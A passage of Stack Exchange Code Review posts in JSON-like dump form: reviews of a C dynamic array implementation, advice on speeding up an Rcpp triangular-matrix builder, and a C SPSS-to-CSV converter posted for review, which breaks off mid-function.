[ { "body": "<p>In C, as in C++, object pointers can be freely converted to <code>void*</code>, so quite a few casts can be removed.</p>\n<p>It's probably convenient to store <code>data</code> as a <code>char*</code>, since that's how we use it. We should still use <code>void*</code> as external interface, of course.</p>\n<p>This is a dangerous anti-pattern:</p>\n<blockquote>\n<pre><code> p-&gt;data = realloc(p-&gt;data, VECTOR_RESERVE_SIZE);\n</code></pre>\n</blockquote>\n<p>If the <code>realloc()</code> fails, it returns a null pointer. By overwriting <code>p-&gt;data</code> before we check for null, we leak the old value of <code>p-&gt;data</code>, which is no longer accessible. And the null-check is also missing, so subsequent access is Undefined Behaviour.</p>\n<p>Style-wise, I think I'd find <code>(!(i &gt; p-&gt;used))</code> easier to read as <code>(i &lt;= p-&gt;used)</code>. And <code>if (p-&gt;data != NULL) { return false; } else { return true; }</code> as <code>return !p-&gt;data;</code>.</p>\n<p>The example code should set a good example, and check the return value of <code>vector_init()</code> (and also <code>vector_append()</code> once you realise it needs to indicate success/failure) and react appropriately. Otherwise, you'll find you're encouraging slapdash usage.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T15:50:35.307", "Id": "508682", "Score": "0", "body": "Thanks for the feedback,I have problem when I'm trying to implement those safety checks at vector_append(), I get a segfault when i try to just assert the reallocated pointer and i can't figure out why" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T16:49:56.013", "Id": "508687", "Score": "0", "body": "It's obviously wrong to assert, since we know the pointer might be null." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T17:08:03.103", "Id": "508688", "Score": "0", "body": "I don't get it, by asserting I mean this : assert(ptr != NULL);" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T17:30:25.957", "Id": "508690", "Score": "0", "body": "Yes, that's why it's wrong. `realloc()` can return a null pointer, so the assertion is wrong." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T17:32:56.690", "Id": "508692", "Score": "1", "body": "You need something more like `char *ptr = realloc(p->data, new_size); if (!ptr) return false; p->data = ptr; …; return true;`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T08:11:23.347", "Id": "508720", "Score": "0", "body": "Could you double-check the \"as in C++\"? I don't think it is correct. At least that's what I remember from 15 years ago." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T10:09:55.713", "Id": "508724", "Score": "1", "body": "@Roland, you're probably thinking of conversion _from_ `void*`, which is allowed in C, but requires a cast in C++. The conversion to `void*` is a widening conversion and fine in both languages." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T07:51:45.570", "Id": "508814", "Score": "1", "body": "Thanks @chux - edited." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-27T08:16:09.933", "Id": "510148", "Score": "0", "body": "Thanks for explaining that conversion _to_ `void *` is fine. That's exactly the detail I missed and that confused me." } ], "meta_data": { "CommentCount": "9", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:53:59.257", "Id": "257528", "ParentId": "257526", "Score": "3" } }, { "body": "<p><strong>Self document</strong></p>\n<p>Consider users do not want to see or may not have access to the implementation and are left to declarations.</p>\n<p>These deserve parameters names and at least a comment about what each function does and how to use. (e.g. Call <code>vector_init()</code> first. It overwrites all <code>vector_t</code> members.)</p>\n<pre><code>// Deserve for documentation here.\nbool vector_init(vector_t *, int);\nvoid vector_append(vector_t *, void *);\nvoid* vector_get(vector_t *, int );\nvoid vector_set(vector_t *, int, void *);\nvoid vector_free(vector_t *);\n</code></pre>\n<p><strong>Think big</strong></p>\n<p>Why limit to sizes up to <code>INT_MAX</code> when C readily handles sizes up to <code>SIZE_MAX</code>. That could be billions times more.</p>\n<p>Use <code>size_t</code> for array indexing and sizing.</p>\n<pre><code> // int size_of_each;\n // int used;\n size_t size_of_each;\n size_t used;\n\n// vector_get(vector_t *, int );\nvector_get(vector_t *, size_t);\n</code></pre>\n<p><strong>Design: Smaller empty impact</strong></p>\n<p>Consider an app making 100s or 1,000,000s instance of this <code>vector</code> (e.g. a vector of vectors). Many of them will could be empty and never used. This is no advantage in doing that first <code>malloc()</code> at <code>vector_init()</code> time and a wasted allocation for all those unused instances. Allocate when needed. IMO, <code>vector_init()</code> should not allocate anything - it does make then that function error free - an important attribute to an <em>initialization</em> function.</p>\n<p><strong>Design: Slow Linear growth</strong></p>\n<p>Rather than linearly grow the array (incurring O(n*n) re-allocation time), scale the new size by maybe doubling (or some factor).</p>\n<p><strong>Design: Error handling</strong></p>\n<p>Detect and report (re-)allocation failures.</p>\n<pre><code>// void vector_append(vector_t *p, void *d)\nbool vector_append(vector_t *p, void *d) //return true on error\n</code></pre>\n<p><strong>Design: range check</strong></p>\n<p><code>vector_get(vector_t *p, int i)</code>, <code>vector_set(vector_t *p, int i, void *d)</code> perform no range check on <code>i</code>. Live as dangerously as you please, yet I'd definitely, at least, include parameters check on <code>vector_set()</code>.</p>\n<p><strong>Design: <code>const</code></strong></p>\n<p>I'd expect <code>const</code> to show that the data state has not changed.</p>\n<pre><code>// void* vector_get(vector_t *p, int i)\nvoid* vector_get(const vector_t *p, int i)\n</code></pre>\n<p><strong>Bug: Code in header file</strong></p>\n<p>Code is apparently designed for different <code>VECTOR_RESERVE_SIZE</code> depending on which .c includes it.</p>\n<p>Unfortunately, if 2 .c files each include this, the there will be 2 <code>vector_init()</code>, <code>vector_free()</code>, etc, creating linker conflict.</p>\n<p>Instead, divide code into vector.h and vector.c files. I suspect though this causes trouble with the <code>VECTOR_RESERVE_SIZE</code> scheme. IMO, <code>VECTOR_RESERVE_SIZE</code> is unnecessary.</p>\n<p><strong>Corner bug</strong></p>\n<p>No need to assume <code>vector_free()</code> is not called again. Leave data in a diminished, but correct state.</p>\n<pre><code>void vector_free(vector_t *p) {\n free(p-&gt;data);\n p-&gt;data = NULL; // add\n p-&gt;used = 0; // add\n}\n</code></pre>\n<p><strong><code>else</code> not needed</strong></p>\n<pre><code> if (!(i &gt; p-&gt;used))\n {\n return (void*)((char*)p-&gt;data + p-&gt;size_of_each * i);\n }\n // else { return NULL; }\n return NULL;\n</code></pre>\n<p><strong>Odds &amp; Ends</strong></p>\n<p><code>p-&gt;size_of_each * p-&gt;used</code> may overflow <code>int</code> math leading to UB. Best to ensure at least <code>size_t</code> math.</p>\n<p><code>void *</code> not needed:</p>\n<pre><code>// memcpy((void*)((char*)p-&gt;data + p-&gt;size_of_each * p-&gt;used), d, p-&gt;size_of_each);\nmemcpy((char*)p-&gt;data + (size_t)1 * p-&gt;size_of_each * p-&gt;used, d, p-&gt;size_of_each);\n\n// return (void*)((char*)p-&gt;data + p-&gt;size_of_each * i);\nreturn (char*)p-&gt;data + (size_t)1 * p-&gt;size_of_each * i;\n</code></pre>\n<p><strong>New functions</strong></p>\n<p><code>int vector_apply(vector, int (*function)(void *state, void *element), void *state)</code> ⟶ Apply the function to each element in the vector. Return early if not zero returned from <code>function</code>.</p>\n<p><code>vector_right_size(vector)</code> ⟶ Shrink the vector to the minimum needed size.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T07:57:51.403", "Id": "508816", "Score": "1", "body": "It might be worth emphasising that the documentation should indicate what the return values mean - I certainly had trouble inferring that from the code. Also, `vector_right_size()` could be `vector_shrink_to_fit` to help anyone familiar with C++ standard containers." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T21:42:31.093", "Id": "257594", "ParentId": "257526", "Score": "2" } } ]
{ "AcceptedAnswerId": "257594", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:06:35.153", "Id": "257526", "Score": "6", "Tags": [ "beginner", "c", "array", "cache" ], "Title": "Another dynamic array implementation in C" }
257526
<p>I'm working on Rcpp and I wrote the following code</p> <pre><code>#include &lt;RcppArmadilloExtensions/sample.h&gt; using namespace Rcpp; // [[Rcpp::export]] arma::mat SIZA(int K){ arma::mat P; P.ones(K,K); P = trimatu(P); for(int idx=1; idx&lt;K; ++idx){ arma::mat W; arma::mat Hlp; W.ones(K-idx,K-idx); W = trimatu(W); W = join_horiz(W,Hlp.zeros(K-idx,idx)); P = join_vert(P,W); } return P; } </code></pre> <p>Essentially it creates matrices of the following form</p> <pre><code>SIZA(2) [,1] [,2] [1,] 1 1 [2,] 0 1 [3,] 1 0 </code></pre> <pre><code>SIZA(3) [,1] [,2] [,3] [1,] 1 1 1 [2,] 0 1 1 [3,] 0 0 1 [4,] 1 1 0 [5,] 0 1 0 [6,] 1 0 0 </code></pre> <pre><code>SIZA(4) [,1] [,2] [,3] [,4] [1,] 1 1 1 1 [2,] 0 1 1 1 [3,] 0 0 1 1 [4,] 0 0 0 1 [5,] 1 1 1 0 [6,] 0 1 1 0 [7,] 0 0 1 0 [8,] 1 1 0 0 [9,] 0 1 0 0 [10,] 1 0 0 0 </code></pre> <p>What I'm curious and interested in is finding a way to make this chunk of code quicker. But from my knowledge, I do not see an obvious way to achieve that. What I'm thinking is to avoid using the FOR LOOP but it seems to be necessary.</p> <p>Any ideas would be great!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T16:16:19.753", "Id": "508685", "Score": "0", "body": "Please [edit] your question's title to reflect what the code actually does instead of using a generic title." } ]
[ { "body": "<p>First of all I would try to avoid all the matrix operations like trimming, joining, etc.</p>\n<p>And instead just find a function that tells what value is on each position</p>\n<pre><code>bool tell(int x, int y, int K);\n</code></pre>\n<p>This would of course require more mathematical skill then programming, but you might eventually end up doing just this:</p>\n<pre><code>arma::mat P;\nint maxY = K * (K-1) / 2\nfor (int y = 0; y &lt; maxY; ++y) {\n for (int x = 0; x &lt; K; ++x) {\n P.set(x, y, tell(x, y, K) ? 1 : 0)\n }\n}\n</code></pre>\n<p>If tell(x,y) has O(1) complexity, this will probably be faster.</p>\n<p>Another option that I can think of is similar, but more iterative.</p>\n<p>Fill the topmost KxK part of the matrix with the pattern.\nThen another (K-1)x(K-1) part of the metrix, fill with the (K-1) pattern while filling the last column with zeroes.\nthen another part of size (K-2)x(K-2) fill with pattern of size K-2 while filling the last two columns with zeroes.\nAnd so on and so on until trying to fill pattern 0x0 where you terminate.\nBut you'll end up on something similar to the previous</p>\n<pre><code>int Y = 0;\nfor (int step = K; step &gt; 0; --step) {\n for (int y = 0; y &lt; step; ++y, ++Y) {\n for (int x = 0; x &lt; step; ++x) {\n P.set(x, Y, tell(x, y) ? 1 : 0)\n }\n for (int r = step; r &lt; K; ++r) {\n P.set(r, Y, 0)\n }\n }\n}\n</code></pre>\n<p>here the tell function actually becomes quite trivial and third parameter is not even needed</p>\n<pre><code>bool tell(int x, int y)\n{\n return x &gt;= y;\n}\n</code></pre>\n<p>Whether the tell function for the first implementation is possible in O(1) and how to do it I leave to you and the mathematician inside of you :)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:23:06.973", "Id": "508747", "Score": "0", "body": "Thank you a lot for your time!!! So, overall from what I understand you say that it is less time-consuming to use FOR LOOP with a function of complexity ```O(1)``` instead of using build-in functions ??" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T05:27:59.917", "Id": "508806", "Score": "0", "body": "Yes, for loop on its own is not inefficient. Actually many of the built-in functions are likely to perform their own loops inside. But where you use the built-in functions to generate matrices and then copy pieces of them to another matrix is where you get inefficient. Because you do quite more operations then KxM which is the size of the resulting matrix. My algorithm works directly on the resulting matrix, no temporary matrices are created and only KxM assignments are performed." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T16:48:02.850", "Id": "257532", "ParentId": "257529", "Score": "3" } }, { "body": "<h1>Improving performance</h1>\n<p>The <code>for</code>-loop is not the issue here. If you need to iterate over something, a <code>for</code>-loop is the natural thing to use, and most of the time it will be the fastest way.</p>\n<p>The main issue I see with this code is that you have temporary variables holding matrices. Those can be expensive. For example, let's look at this line:</p>\n<pre><code>W = trimatu(W);\n</code></pre>\n<p>I don't know if the function <code>trimatu()</code> takes the argument by value (requiring a copy) or by reference, but in any case, the return value is a new matrix object that needs to be allocated, and then it is assigned back to <code>W</code>. Depending on the implementation of <code>arma::mat::operator=()</code>, this might be a copy again. So at least one copy is made, possibly three copies are made here.</p>\n<p>It would be more efficient to just declare a matrix of the right size up front, and fill that in with ones and zeroes yourself, like so:</p>\n<pre><code>arma::mat P(K * (K + 1) / 2, K);\n\nfor (int n = K; n &gt; 0; --n) {\n // add an n * n triangular matrix to P\n for (...) { // rows\n for (...) { // columns\n P(row, column) = ...;\n }\n }\n}\n\nreturn P;\n</code></pre>\n<p>Or something of the form slepic suggested. Don't worry about the nested <code>for</code>-loops in this case, you are still only doing as many operations as there are elements in the matrix you are returning.</p>\n<h1>Making the code more readable</h1>\n<p>Try to avoid single-letter variable names, and give them some descriptive names. Exceptions are very commonly used variable names like <code>i</code> and <code>j</code> for loop indices, <code>x</code>, <code>y</code> and <code>z</code> for coordinates, and so on. Another reason for single-letter vairable names might be if you are implementing equations from a paper and want to keep the variable names identical to the symbols used in the formulas, although in that case I would definitely add comments to the code refering to the source of those equations.</p>\n<p>To make the structure of the function more readable, I would either go two ways. The first way is not the most efficient way, but it is observing that the result of <code>SIZA(n)</code> contains the result of <code>SIZA(n - 1)</code>, so you could rewrite your code to be recursive:</p>\n<pre><code>arma::mat SIZA(int K) {\n if (K == 0) {\n // end of recursion reached\n return {};\n }\n\n arma::mat P;\n\n // make P be a triangular matrix of size K * K\n ...\n\n // Append SIZA(n - 1) to the result\n P.join_vert(join_horiz(SIZA(K - 1), arma::mat(..., 1, 0)));\n\n return P;\n};\n</code></pre>\n<p>The second option is to take an efficient version using <code>for</code>-loops, but split off parts of it into another function:</p>\n<pre><code>static void add_triangular_part(arma::mat &amp;P, int row, int K) {\n // Add a K * K triangular matrix starting at the given row to P\n ...\n}\n\narma::mat SIZA(int K) {\n arma::mat P(K * (K + 1) / 2, K);\n\n for (int n = K, row = 0; n &gt; 0; row += n--) {\n add_triangular_part(P, row, n);\n }\n\n return P;\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:24:45.557", "Id": "508748", "Score": "0", "body": "Thank you a lot for your helpful explanation! Because I'm new could you please tell me what do you mean here ```Don't worry about the nested for-loops in this case, you are still only doing as many operations as there are elements in the matrix you are returning.``` What I know is that for example a matrix ```K``` is of complexity K^2, so it takes two for loops to fill in the matrix, you mean something similar ?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T16:44:29.200", "Id": "508761", "Score": "0", "body": "What I'm saying is that if you are filling all the elements of the matrix, then assuming calculating the value for each element is trivial, then the complexity for a K by K matrix is indeed O(K^2), regardless of whether you use one `for`-loop or two nested `for`-loops, or even no visible `for`-loops (for example by using [`std::generate()`](https://en.cppreference.com/w/cpp/algorithm/generate))." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T16:54:24.280", "Id": "257533", "ParentId": "257529", "Score": "2" } } ]
{ "AcceptedAnswerId": "257532", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T15:00:41.187", "Id": "257529", "Score": "0", "Tags": [ "c++", "r", "rcpp" ], "Title": "Algorithm that creates in a systematic form, matrix with zero-one elements" }
257529
<p>I'm a long standing PHP, JS, C#(Unity) dev looking to get outside objects and lower down. I've written a quick program to read binary data from a .sav file, and output the data section into CSV's in either long or flat format, with optional leading row indexes.</p> <p>Wanted to learn more about C so I can start to play with micro controllers and GPIO.</p> <p>It supports help, version, silent and debug modes (-h, -v, -s and -d respectively).</p> <p>All seems to work, but I'd rather some experienced eyes catch what I might be doing schoolboy.</p> <p>Repo: <a href="https://github.com/erbarratt/savtocsv" rel="nofollow noreferrer">https://github.com/erbarratt/savtocsv</a></p> <p>Q's:</p> <ul> <li>Am I doing things right in terms of inclusion of headers from one to the next? They cascade at the min.</li> <li>Is the makefile ok? Do I need more params for gcc to be cross compatible?</li> <li>Is the linked list for variables the right way to do this?</li> <li>Am I processing -v and -s options correctly / standard?</li> </ul> <p>Files in order of compilation:</p> <h3>common.h</h3> <pre><code>#include &lt;stdbool.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; #include &lt;inttypes.h&gt; #include &lt;math.h&gt; #include &lt;pthread.h&gt; #ifdef _MSC_VER #define bswap_32(x) _byteswap_ulong(x) #define bswap_64(x) _byteswap_uint64(x) #elif defined(__APPLE__) // Mac OS X / Darwin features #include &lt;libkern/OSByteOrder.h&gt; #define bswap_32(x) OSSwapInt32(x) #define bswap_64(x) OSSwapInt64(x) #elif defined(__sun) || defined(sun) #include &lt;sys/byteorder.h&gt; #define bswap_32(x) BSWAP_32(x) #define bswap_64(x) BSWAP_64(x) #elif defined(__FreeBSD__) #include &lt;sys/endian.h&gt; #define bswap_32(x) bswap32(x) #define bswap_64(x) bswap64(x) #elif defined(__OpenBSD__) #include &lt;sys/types.h&gt; #define bswap_32(x) swap32(x) #define bswap_64(x) swap64(x) #elif defined(__NetBSD__) #include &lt;sys/types.h&gt; #include &lt;machine/bswap.h&gt; #if defined(__BSWAP_RENAME) &amp;&amp; !defined(__bswap_32) #define bswap_32(x) bswap32(x) #define bswap_64(x) bswap64(x) #endif #else #include &lt;byteswap.h&gt; #endif </code></pre> <h3>savtocsvcommon.h</h3> <pre><code>#include &quot;common.h&quot; extern bool debug; extern bool silent; extern bool longCsv; extern bool includeRowIndex; extern char *sav; extern char *csv; extern int lineLimit; extern char ANSI_COLOR_RED[]; extern char ANSI_COLOR_GREEN[]; extern char ANSI_COLOR_YELLOW[]; extern char ANSI_COLOR_BLUE[]; extern char ANSI_COLOR_MAGENTA[]; extern char ANSI_COLOR_CYAN[]; extern char ANSI_COLOR_RESET[]; void colorSet(char *col); void printOut(char *str, char *bound, char *col); void printOutErr(char *str, char *bound); char *getFileExt(char *filename); bool dubIsInt(double val); char* intToStr8(int8_t num); char* intToStr32(int num); char* intToStr64(int64_t num); char* doubleToStr(double num); </code></pre> <h3>savtocsvcommon.c</h3> <pre><code> bool debug = false; bool silent = false; bool longCsv = true; bool includeRowIndex = false; char *sav = NULL; char *csv = &quot;out&quot;; int lineLimit = 0; char ANSI_COLOR_RED[] = &quot;\x1b[31m&quot;; char ANSI_COLOR_GREEN[] = &quot;\x1b[32m&quot;; char ANSI_COLOR_YELLOW[] = &quot;\x1b[33m&quot;; char ANSI_COLOR_BLUE[] = &quot;\x1b[34m&quot;; char ANSI_COLOR_MAGENTA[] = &quot;\x1b[35m&quot;; char ANSI_COLOR_CYAN[] = &quot;\x1b[36m&quot;; char ANSI_COLOR_RESET[] = &quot;\x1b[0m&quot;; /** * Set the colour output of the console * @param char *col The chosen colour * @return void */ void colorSet(char *col){ if (strcmp(col, &quot;red&quot;) == 0){ printf(&quot;%s&quot;, ANSI_COLOR_RED); } else if (strcmp(col, &quot;yellow&quot;) == 0){ printf(&quot;%s&quot;, ANSI_COLOR_YELLOW); } else if (strcmp(col, &quot;green&quot;) == 0){ printf(&quot;%s&quot;, ANSI_COLOR_GREEN); } else if (strcmp(col, &quot;blue&quot;) == 0){ printf(&quot;%s&quot;, ANSI_COLOR_BLUE); } else if (strcmp(col, &quot;cyan&quot;) == 0){ printf(&quot;%s&quot;, ANSI_COLOR_CYAN); } else if (strcmp(col, &quot;magenta&quot;) == 0){ printf(&quot;%s&quot;, ANSI_COLOR_MAGENTA); } else if (strcmp(col, &quot;reset&quot;) == 0){ printf(&quot;%s&quot;, ANSI_COLOR_RESET); } else { printf(&quot;%s&quot;, ANSI_COLOR_RESET); } } /** * Print out based on silent switch * @param char *str The printf() message * @param char *bound Any additional string to pass to printf() * @param char *col The chosen colour * @return void */ void printOut(char *str, char *bound, char *col){ if(!silent){ colorSet(col); printf(str, bound); puts(ANSI_COLOR_RESET); } } /** * Print out to stderr based on silent switch * @param char *str The printf() message * @param char *bound Any additional string to pass to fprintf() * @return void */ void printOutErr(char *str, char *bound){ if(!silent){ fprintf(stderr, &quot;%s&quot;, ANSI_COLOR_RED); fprintf(stderr, str, bound); fprintf(stderr, &quot;%s&quot;, ANSI_COLOR_RESET); fprintf(stderr,&quot;\n&quot;); } } /** * Get file extension * @param char *filename The filename in question * @return char */ char *getFileExt(char *filename){ char *dot = strrchr(filename, '.'); if(!dot || dot == filename) return &quot;&quot;; return dot + 1; } /** * Check if double can safely be treated as int * @param double val The double * @return bool */ bool dubIsInt(double val){ int truncated = (int)val; return (val == truncated); } /** * Turn 8 bit int into string * @param int8_t num The int * @return char* */ char* intToStr8(int8_t num){ int length = snprintf( NULL, 0, &quot;%d&quot;, num ); char* str = malloc( length + 1 ); snprintf( str, length + 1, &quot;%d&quot;, num ); return str; } /** * Turn 32 bit int into string * @param int num The int * @return char* */ char* intToStr32(int num){ int length = snprintf( NULL, 0, &quot;%d&quot;, num ); char* str = malloc( length + 1 ); snprintf( str, length + 1, &quot;%d&quot;, num ); return str; } /** * Turn 64 bit int into string * @param int64_t num The int * @return char* */ char* intToStr64(int64_t num){ int length = snprintf( NULL, 0, &quot;%&quot; PRId64, num ); char* str = malloc( length + 1 ); snprintf( str, length + 1, &quot;%&quot; PRId64, num ); return str; } /** * Turn double into string * @param double num The int * @return char* */ char* doubleToStr(double num){ int length = snprintf( NULL, 0, &quot;%f&quot;, num ); char* str = malloc( length+1); snprintf( str, length + 1, &quot;%f&quot;, num ); return str; } </code></pre> <h3>savtocsvlib.h</h3> <pre><code>#include &quot;savtocsvcommon.h&quot; #define RECORD_TYPE_VARIABLE 2 #define RECORD_TYPE_VALUE_LABELS 3 #define RECORD_TYPE_VALUE_LABELS_INDEX 4 #define RECORD_TYPE_DOCUMENTS 6 #define RECORD_TYPE_ADDITIONAL 7 #define RECORD_TYPE_FINAL 999 #define COMPRESS_SKIP_CODE 0 #define COMPRESS_END_OF_FILE 252 #define COMPRESS_NOT_COMPRESSED 253 #define COMPRESS_ALL_BLANKS 254 #define COMPRESS_MISSING_VALUE 255 //Number of bytes really stored in each segment of a very long string variable. #define REAL_VLS_CHUNK 255 /** @var struct Variable Variable structure definition */ typedef struct Variable{ int type; int measure; int cols; int alignment; struct Variable * next; } variable_t; void closeFile(); void exitAndCloseFile(char *str, char *bound); void addVariable(variable_t * head, int type); void convertToCSV(char *filename); void readHeader(); void readMeta(); void readVariable(); void readValueLabels(); void dataToCsvLong(); void dataToCsvFlat(); void readOver(int amt, char *msg); void readWord(char *msg); int readIntByte(char *msg); int readIntByteNoOutput(); int readInt32(char *msg); void readInt64(char *msg); double readDouble(char *msg); double readDoubleNoOuput(); </code></pre> <h3>savtocsvlib.c</h3> <pre><code>#include &quot;savtocsvlib.h&quot; /** @var bool bigEndian flag to see if file was oringinally stored on Big Endian OS... */ bool bigEndian = false; /** @var FILE* savPtr File pointer for sav file */ FILE* savPtr; /** @var int cursor Internal library cursor */ int cursor = 0; /** @var char wordBuffer[4] Buffer for storing 4byte strings */ char wordBuffer[4]; /** @var int8_t intByteBuffer Buffer for storing 8 bit / 1 byte ints */ int8_t intByteBuffer; /** @var int int32Buffer Buffer for storing 32 bit / 4 byte ints */ int int32Buffer; /** @var int64_t int64Buffer Buffer for storing 64 bit / 8 byte ints */ int64_t int64Buffer; /** @var double flt64Buffer Buffer for storing 64 bit / 8 byte floating point numbers */ double flt64Buffer; /** @var int compressionSwitch Compression on or not */ int compressionSwitch; /** @var double compressionBias Used to decode data */ double compressionBias; /** @var int numberOfCases Num cases in sav file */ int numberOfCases = 0; /** @var int numberOfVariables Num vars in sav file */ int numberOfVariables = 0; /** @var variable_t* variablesList Linked list of Variable structures */ variable_t * variablesList = NULL; /** * Close file * @return void */ void closeFile(){ fclose(savPtr); } /** * Print error, close file and exit * @return void */ void exitAndCloseFile(char *str, char *bound){ printOutErr(str, bound); closeFile(); exit(EXIT_FAILURE); } /** * Add a variable to the Variables linked list * @param variable_t * head Pointer to head of list * @param int type Variable typecode to add one creation * @return void */ void addVariable(variable_t * head, int type) { variable_t * current = head; //find last element while (current-&gt;next != NULL) { current = current-&gt;next; } //add new var current-&gt;next = (variable_t *) malloc(sizeof(variable_t)); current-&gt;next-&gt;type = type; current-&gt;next-&gt;measure = 0; current-&gt;next-&gt;cols = 0; current-&gt;next-&gt;alignment = 0; current-&gt;next-&gt;next = NULL; } /** * Main run through method * @return void */ void convertToCSV(char *filename){ //try to open for read in binary mode savPtr = fopen(filename, &quot;rb&quot;); //file open? if (savPtr == NULL) { exitAndCloseFile(&quot;Unable to open file (permission denied, try sudo): %s&quot;, filename); } //file passed isn't sav file if(strcmp(getFileExt(filename),&quot;sav&quot;) != 0){ exitAndCloseFile(&quot;Unable to open file: %s&quot;, filename); } //can't open file passed else if(savPtr == NULL){ exitAndCloseFile(&quot;Unable to open file: %s&quot;, filename); } //log printOut(&quot;Opened .sav file: \n\t%s&quot;, filename, &quot;cyan&quot;); //initialise linked list variablesList = (variable_t*)malloc(sizeof(variable_t)); variablesList-&gt;type = 0; variablesList-&gt;measure = 0; variablesList-&gt;cols = 0; variablesList-&gt;alignment = 0; variablesList-&gt;next = NULL; //header readHeader(); //meta readMeta(); //data if(longCsv){ dataToCsvLong(); } else { dataToCsvFlat(); } closeFile(); } /** * Read from the sav file until the start of the data blocks * @return void */ void readHeader(){ if(!silent){ printOut(&quot;Reading file header:&quot;, &quot;&quot;, &quot;cyan&quot;); } //reset file pointer location to start fseek(savPtr, 0, SEEK_SET); //get file type readWord(&quot;File Identifier:&quot;); if (strcmp(wordBuffer, &quot;$FL2&quot;) != 0){ exitAndCloseFile(&quot;File must begin with chars $FL2 for a valid SPSS .sav file.&quot;, &quot;&quot;); } //@4 //read SPSS Version text readOver(60, &quot;Header:&quot;); //@64 //layout code should be 2 or 3 int layout = readInt32(&quot;Layout Code:&quot;); if(layout != 2 &amp;&amp; layout != 3){ bigEndian = true; printOut(&quot;File stored as Big Endian found in layout code.&quot;, &quot;&quot;, &quot;yellow&quot;); } //@68 // OBS readInt32(&quot;OBS:&quot;); //@72 // compression compressionSwitch = readInt32(&quot;Compression:&quot;); //@76 // weight readInt32(&quot;Weight:&quot;); //@80 // cases numberOfCases = readInt32(&quot;Number of Cases:&quot;); //@84 // compression bias compressionBias = readDouble(&quot;Compression Bias:&quot;); //@92 // creation date readOver(9, &quot;Creation Date:&quot;); readOver(8, &quot;Creation Time:&quot;); //@109 // file label readOver(64, &quot;File Label:&quot;); //@173 // padding readOver(3, &quot;Padding:&quot;); //@176 if(!silent){ printOut(&quot;\t%s Cases found&quot;, intToStr32(numberOfCases), &quot;cyan&quot;); } } /** * Read from the sav file until the start of the data blocks * @return void */ void readMeta(){ if(!silent){ printOut(&quot;Reading meta data:&quot;, &quot;&quot;, &quot;cyan&quot;); } bool stop = false; while (!stop) { if(debug){ printOut(&quot;-------------------------&quot;, &quot;&quot;, &quot;blue&quot;); printOut(&quot;-------------------------&quot;, &quot;&quot;, &quot;blue&quot;); } int recordType = readInt32(&quot;Record type:&quot;); switch (recordType) { // Variable Record (2) case RECORD_TYPE_VARIABLE: readVariable(); break; // Value and labels (3) case RECORD_TYPE_VALUE_LABELS: readValueLabels(); break; // Read and parse document records (6) case RECORD_TYPE_DOCUMENTS: { // number of variables int numberOfLines = readInt32(&quot;Number of Docs Vars:&quot;); // read the lines int i; for (i = 0; i &lt; numberOfLines; i++) { readOver(80, &quot;Doc Content:&quot;); } } break; // Read and parse additional records (7) case RECORD_TYPE_ADDITIONAL: { int subtype = readInt32(&quot;SubType:&quot;); //@4 int size = readInt32(&quot;Size:&quot;); //@8 int count = readInt32(&quot;Count:&quot;); //@12 int datalen = size * count; switch (subtype) { // SPSS Record Type 7 Subtype 3 - Source system characteristics case 3: readOver(32, &quot;Source system characteristics:&quot;); break; // SPSS Record Type 7 Subtype 4 - Source system floating pt constants case 4: readOver(24, &quot;Source system floating pt constants:&quot;); break; // SPSS Record Type 7 Subtype 5 - Variable sets case 5: readOver(datalen, &quot;Variable Sets:&quot;); break; // SPSS Record Type 7 Subtype 6 - Trends date information case 6: readOver(datalen, &quot;Trends Date Info:&quot;); break; // SPSS Record Type 7 Subtype 7 - Multi response groups case 7: readOver(datalen, &quot;Multi Response Groups:&quot;); break; // SPSS Record Type 7 Subtype 11 - Variable meta SPSS bits... case 11: if (size != 4) { exitAndCloseFile(&quot;Error reading record type 7 subtype 11: bad data element length [%s]. Expecting 4.&quot;, intToStr32(size)); } if ((count % 3) != 0) { exitAndCloseFile(&quot;Error reading record type 7 subtype 11: number of data elements [%s] is not a multiple of 3.&quot;, intToStr32(size)); } //go through vars and set meta variable_t * current = variablesList; current = current-&gt;next; int i; for(i = 0; i &lt; count/3; ++i){ if(debug){ printOut(&quot;~~~Var Meta~~~&quot;, &quot;&quot;, &quot;magenta&quot;); printOut(&quot;\n~~~Var Type: %s \n&quot;, intToStr32(current-&gt;type), &quot;yellow&quot;); } current-&gt;measure = readInt32(&quot;~~~Var Measure:&quot;); current-&gt;cols = readInt32(&quot;~~~Var Cols:&quot;); current-&gt;alignment = readInt32(&quot;~~~Var Alignment:&quot;); current = current-&gt;next; } break; // SPSS Record Type 7 Subtype 13 - Extended names case 13: readOver(datalen, &quot;Extended Names:&quot;); break; // SPSS Record Type 7 Subtype 14 - Extended strings case 14: readOver(datalen, &quot;Extended Strings:&quot;); break; // SPSS Record Type 7 Subtype 16 - Number Of Cases case 16: 